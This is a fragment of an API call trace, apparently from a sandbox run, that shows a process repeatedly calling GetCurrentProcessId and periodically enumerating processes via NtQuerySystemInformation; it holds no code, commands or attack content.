GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.065] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.066] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.067] GetCurrentProcessId () returned 0xd70 [0109.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c188) returned 0x0 [0109.633] GetCurrentProcessId () returned 0xd70 [0109.633] GetCurrentProcessId () returned 0xd70 [0109.633] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.634] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.635] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0109.636] GetCurrentProcessId () returned 0xd70 [0110.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1d8) returned 0x0 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.208] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.209] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.210] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.211] GetCurrentProcessId () returned 0xd70 [0110.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c0e0) returned 0x0 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.762] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.763] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.764] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.765] GetCurrentProcessId () returned 0xd70 [0110.766] GetCurrentProcessId () returned 0xd70 [0110.766] GetCurrentProcessId () returned 0xd70 [0111.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bbc8) returned 0x0 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.275] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.276] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.277] GetCurrentProcessId () returned 0xd70 [0111.339] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.340] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.341] GetCurrentProcessId () returned 0xd70 [0111.954] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bc68) returned 0x0 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.961] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.962] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.963] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] 